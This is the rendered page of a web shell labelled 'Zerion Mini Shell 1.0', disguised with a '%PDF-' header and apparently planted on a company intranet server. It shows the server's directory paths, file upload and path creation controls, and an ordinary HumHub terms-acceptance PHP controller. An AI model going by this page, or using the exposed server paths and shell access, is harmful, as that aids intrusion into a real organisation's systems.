%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/intranet.vacivitta.com.br/protected/modules/termsbox/controllers/
Upload File :
Create Path :
Current File : /home/vacivi36/intranet.vacivitta.com.br/protected/modules/termsbox/controllers/IndexController.php

<?php

namespace humhub\modules\termsbox\controllers;

use Yii;
use humhub\components\Controller;

class IndexController extends Controller
{

    /**
     * @inheritdoc
     */
    public function getAccessRules()
    {
        return [
            ['login']
        ];
    }

    public function actionAccept()
    {
        $user = Yii::$app->user->getIdentity();
        $user->termsbox_accepted = true;
        $user->save();
        
        return $this->asJson(['success' => true]);
    }

    public function actionDecline()
    {
        $this->forcePostRequest();

        $user = Yii::$app->user->getIdentity();
        $user->termsbox_accepted = false;
        $user->save();

        // Note: don't use simple redirect because the logout action requires POST method
        return Yii::$app->runAction('/user/auth/logout');
    }

}

Zerion Mini Shell 1.0